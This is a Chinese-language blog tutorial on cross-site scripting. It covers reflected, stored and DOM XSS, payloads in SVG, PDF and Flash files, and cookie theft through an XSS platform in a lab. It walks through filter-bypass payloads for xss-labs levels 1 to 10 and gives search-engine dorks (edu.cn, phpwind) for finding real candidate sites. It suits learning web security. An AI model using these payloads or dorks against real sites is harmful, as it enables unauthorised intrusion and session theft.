XSS跨站脚本攻击

XSS跨站脚本攻击

漏洞原理:接受JS代码,输出JS代码解释执行

网站输出的内容,输入数据能控制。

黑盒XSS手工分析

1、页面中显示的数据找可控的(有些隐藏的)
2、利用可控地方发送JS代码去看执行加载情况
3、成功执行即XSS,不能成功就看语句输出的地方显示(过滤)
4、根据显示分析为什么不能执行(实体化,符号括起来,关键字被删除等)

绕过常用标签

xss常用标签绕过总结1

xss常用标签绕过总结2

反射型(非持续性)

接受正常的输出,将其更改后执行js代码

在这里插入图片描述

执行了js弹窗

x=<script>alert(1)</script>

在这里插入图片描述

标签换成<img执行刚刚的xss语句,并不能执行成功

x=<script>alert(1)</script>

在这里插入图片描述

查看源代码xss语句需要绕过,

在这里插入图片描述

如果报错就执行“alert(1)”

x onerror="alert(1)">

在这里插入图片描述

查看源代码可以看到,js语句已经拼接成功

在这里插入图片描述

嵌套xiaodi8.com

x=<iframe%20src%20="http://www.xiaodi8.com">test</iframe>

在这里插入图片描述

案例

可以看到http accept被显示出来,并且是我们可以控制的。

在这里插入图片描述

burp抓包添加js语句

<script>alert(1)<script>

在这里插入图片描述

放包后成功弹窗

在这里插入图片描述

存储型(持续性)

持续化的XSS攻击方式,将恶意代码存储于服务器,当其他用户再次访问时触发,造成XSS攻击。

案例

后台有登录日志

在这里插入图片描述

重新回到登录框,构造js语句

<script>alert(123)</script>

在这里插入图片描述

再登录后台,js语句执行成功

在这里插入图片描述

查看源代码可以看到js语句

在这里插入图片描述

Dom型(非持续性)

通过修改原始的客户端代码,受害者浏览器的DOM环境改变,导致有效载荷的执行。
页面本身没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面并执行。

案例

Google语法

edu.cn inurl:url=http

利用就将js语句更改

url=javascript:alert(1)

在这里插入图片描述

SVG-xss

在svg文件中插入js语句

在这里插入图片描述

上传svg文件,但是文件不支持,直接复制图片地址

在这里插入图片描述

访问弹窗

在这里插入图片描述

PDF-xss

使用pdf编辑器,打开属性,添加动作,选择执行js语句

app.alert(1)

在这里插入图片描述

上传pdf到网站

在这里插入图片描述

访问网站链接,执行xss

在这里插入图片描述

Flash-xss

使用网站上的本身有的swf文件进行反编译,常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等

fofa语法

"phpwind" && icon_hash="-1005349246"

查找到ExternalInterface.call

在这里插入图片描述

获取jsobject的变量再用到ExternalInterface.call

在这里插入图片描述

uploader.swf?jsobject=alert(1)

因为配置问题访问swf文件直接下载,就复现不了。

cookie盗取
小皮面板

谷歌浏览器充当攻击者,edge浏览器充当管理员

搭建xss平台,配置好获取cookie的js

在这里插入图片描述

生成payload

在这里插入图片描述

将js语句插入到有xss漏洞中

在这里插入图片描述

当管理员登录到后台后会获取到cookie

在这里插入图片描述

复制cookie信息到cookie插件中保存

在这里插入图片描述

访问后台地址http://192.168.100.102:9080/10F34D#/home/logs/成功访问到后台

在这里插入图片描述

xss靶场

绕过

第一关

在这里插入图片描述

在这里插入图片描述

第二关

直接输入js语句无法执行,F12打开对应位置,看到有引号

在这里插入图片描述

直接引号闭合

"><script>alert(1)</script>

在这里插入图片描述

第三关

实体化标签

在这里插入图片描述

使用标签事件绕过

' onfocus=javascript:alert() '

在这里插入图片描述

第四关

在这里插入图片描述

”onfocus=javascript:alert()

在这里插入图片描述

第五关

on被过滤利用其它标签绕过

在这里插入图片描述

"> <a href=javascript:alert()>xxx</a> <"

在这里插入图片描述

第六关
<script>alert(1)</script>

script被过滤

在这里插入图片描述

大小写绕过

"><script>alert(1)</script><"

在这里插入图片描述

第七关

过滤了script

<script>alert(1)</script>

在这里插入图片描述

双写绕过

"><scrscriptipt>alert(1)</scrscriptipt><"

在这里插入图片描述

第八关

在这里插入图片描述

过滤script,大小写双写都不能绕过

在这里插入图片描述

unicode编码

javascript:alert(1)
&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029

在这里插入图片描述

在这里插入图片描述

第九关

在这里插入图片描述

需要字符串中带有http://

在这里插入图片描述

unicode编码

javascript:alert(1)
&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029

在这里插入图片描述

拼接上http://

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029;('http://')

在这里插入图片描述

第十关

隐藏属性触发闭合

在这里插入图片描述

修改标签鼠标点击触发js语句

?t_sort=" onfocus=javascript:alert() type="text

在这里插入图片描述

XSS工具

项目地址

python xsstrike.py -u "http://192.168.100.2:1002/level11.php"

在这里插入图片描述

复制payload成功绕过

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/354318.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C#的Switch语句2(case后的值与模式匹配)

文章目录 switch语法结构case具体的值枚举值字符串const关键字 如果没有匹配的值default语句不一定要在最后 模式匹配与C的差异-case穿透&#xff08;Fall-through&#xff09;下一篇文章 switch语法结构 基础的语法结构&#xff0c;在上一篇文章已经写了&#xff0c;具体请看…

斯坦福CS229机器学习中文速查笔记.pdf

斯坦福CS229是一门经典的机器学习课程&#xff0c;算是机器学习领域的明星课&#xff0c;相信不少人在B站上看过这门课的视频。 这门课主要介绍了机器学习和统计模式识别。内容包括&#xff1a;监督学习&#xff08;生成/鉴别学习&#xff0c;参数/非参数学习&#xff0c;神经…

pandas中的loc和iloc

loc和iloc的比较 .loc 和 .iloc 是 pandas 提供的两种不同的索引方法&#xff0c;它们的主要区别在于索引数据的依据&#xff1a; .loc&#xff1a; 基于标签的索引&#xff0c;使用 DataFrame 或 Series 的索引标签&#xff08;即行名和列名&#xff09;来获取数据。可以使用…

2025计算机毕业设计选题题目推荐-毕设题目汇总大全

选题在于精&#xff0c;以下是推荐的容易答辩的选题&#xff1a; SpringBoot Vue选题: 基于SpringBoot Vue家政服务系统 基于SpringBoot Vue非物质文化遗产数字化传承 基于SpringBoot Vue兽医站管理系统 基于SpringBoot Vue毕业设计选题管理系统 基于SpringBoot Vue灾害应急救援…

算法金 | 再见!!!梯度下降(多图)

大侠幸会&#xff0c;在下全网同名「算法金」 0 基础转 AI 上岸&#xff0c;多个算法赛 Top 「日更万日&#xff0c;让更多人享受智能乐趣」 接前天 李沐&#xff1a;用随机梯度下降来优化人生&#xff01; 今天把达叔 6 脉神剑给佩奇了&#xff0c;上 吴恩达&#xff1a;机器…

异构集成封装类型2D、2.1D、2.3D、2.5D和3D封装技术

异构集成封装类型&#xff1a;2D、2.1D、2.3D、2.5D和3D封装详解 简介随着摩尔定律的放缓&#xff0c;半导体行业越来越多地采用芯片设计和异构集成封装来继续推动性能的提高。这种方法是将大型硅芯片分割成多个较小的芯片&#xff0c;分别进行设计、制造和优化&#xff0c;然后…

Java 17的新特性

Java 17引入了多项新特性&#xff0c;以下是一些重要的更新&#xff1a; 增强的伪随机数生成器&#xff08;JEP 356&#xff09; Java 17为伪随机数生成器&#xff08;PRNG&#xff09;提供了新的接口类型和实现&#xff0c;包括可跳转的PRNG和另一类可拆分的PRNG算法&#xf…

【机器学习】 第1章 概述

一、概念 1.机器学习是一种通过先验信息来提升模型能力的方式。 即从数据中产生“模型”( model )的算法&#xff0c;然后对新的数据集进行预测。 2.数据集&#xff08;Dataset&#xff09;&#xff1a;所有数据的集合称为数据集。 训练集&#xff1a;用来训练出一个适合模…

基于GIS、RS、VORS模型、CCDM模型、geodetecto、GWR模型集成的生态系统健康的耦合协调分析

如何集成多源数据&#xff0c;依托ArcGIS Pro和R语言环境&#xff0c;采用“活力-组织力-恢复力-贡献力”&#xff08;VORS&#xff09;模型定量测算生态系统健康指数&#xff08;EHI&#xff09;&#xff1b;如何从经济城镇化&#xff08;GDPD&#xff09;、人口城镇化&#x…

Antd - 上传图片 裁剪图片

目录 本地上传方法【input type"file"】&#xff1a;upload组件【antd】默认接口上传&#xff1a;自定义接口上传&#xff1a;【取消默认上传接口】antd的upload组件beforeUpload还有个比较坑的地方 upload结合裁剪1、antd官方裁剪组件&#xff1a;![在这里插入图片描…

如何通过自己编写Jmeter函数

在Jmeter的函数助手里&#xff0c;有很多内置的函数&#xff0c;比如Random、UUID、time等等。使用这些函数可以快速帮我们生成某些数据&#xff0c;进行一些逻辑处理。用起来非常的方便。 但是在实际接口测试过程中&#xff0c;有很多的需求&#xff0c;Jmeter内置的函数可能…

easyexcel和poi版本冲突报错深入解析v2

easyexcel报错解决 问题 项目由poi改用easyexcel&#xff0c;报错如下&#xff1a; java.lang.NoSuchMethodError: ‘org.apache.poi.ss.usermodel.CellType org.apache.poi.ss.usermodel.Cell.getCellType()’ 原因 easyexcel中的poi和项目原本的poi版本冲突问题。 由于之前做…

移植案例与原理 - HDF驱动框架-驱动配置(2)

1.2.7 节点复制 节点复制可以实现在节点定义时从另一个节点先复制内容&#xff0c;用于定义内容相似的节点。语法如下&#xff0c;表示在定义"node"节点时将另一个节点"source_node"的属性复制过来。 node : source_node示例如下&#xff0c;编译后bar节点…

一文详解扩散模型

文章目录 1、常见的生成模型2、变分推断简介3、文生图的评价指标4、Diffusion Models5、其他技术交流群精选 节前&#xff0c;我们星球组织了一场算法岗技术&面试讨论会&#xff0c;邀请了一些互联网大厂朋友、参加社招和校招面试的同学。 针对算法岗技术趋势、大模型落地…

网络校时服务器:铁路对时有妙招

在信息高速发展的今天&#xff0c;铁路作为国家的经济大动脉&#xff0c;与广大市民生活息息相关&#xff0c;担负着运送大流量乘客、保证交通畅通的重任&#xff0c;为了保证列车的正点运行和乘客的行程&#xff0c;对时间精准度的要求是非常严格的。随着我国铁路的发展速度和…

[AIGC] python遍历以及字符串的切片

以下是一篇关于Python遍历方法和字符串切片的文章&#xff0c;以及一个在LeetCode中的问题进行解释。文章最后会给出解题思路和代码实现。 Python遍历方法与字符串切片入门教程 在Python语言中&#xff0c;我们包含了许多内置的函数和方法令其适合于各种数据处理任务。在这个…

初始化三板斧 - centos7

1、关闭防火墙、关闭SELinux ① 立即关闭防火墙 systemctl stop firewalld ② 设置开机关闭防火墙 systemctl disable firewalld ③ 立即关闭SELinxu setenforce 0 ④ 设置开机关闭SELinux 将SELINUXenforcing 修改替换为 SELINUXdisabled vim /etc/selinux/config se…

java程序监控linux服务器硬件,cpu、mem、disk等

实现 使用Oshi和Hutool工具包1、pom依赖<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>com.github.oshi</groupId>&l…

【Oracle篇】rman时间点异机恢复:从RAC环境到单机测试环境的转移(第六篇,总共八篇)

&#x1f4ab;《博主介绍》&#xff1a;✨又是一天没白过&#xff0c;我是奈斯&#xff0c;DBA一名✨ &#x1f4ab;《擅长领域》&#xff1a;✌️擅长Oracle、MySQL、SQLserver、阿里云AnalyticDB for MySQL(分布式数据仓库)、Linux&#xff0c;也在扩展大数据方向的知识面✌️…

龙芯LS2K0300久久派上手体验

介绍 芯片 龙芯2K0300芯片是一款基于LA264处理器核的多功能SoC芯片&#xff0c;可广泛适用于工业控制、通信设备、信息家电和物联网等领域&#xff1b;该芯片采用高集成度设计&#xff0c;可提供丰富的功能接口&#xff0c;满足多场景应用需求&#xff0c;同时支持低功耗技术…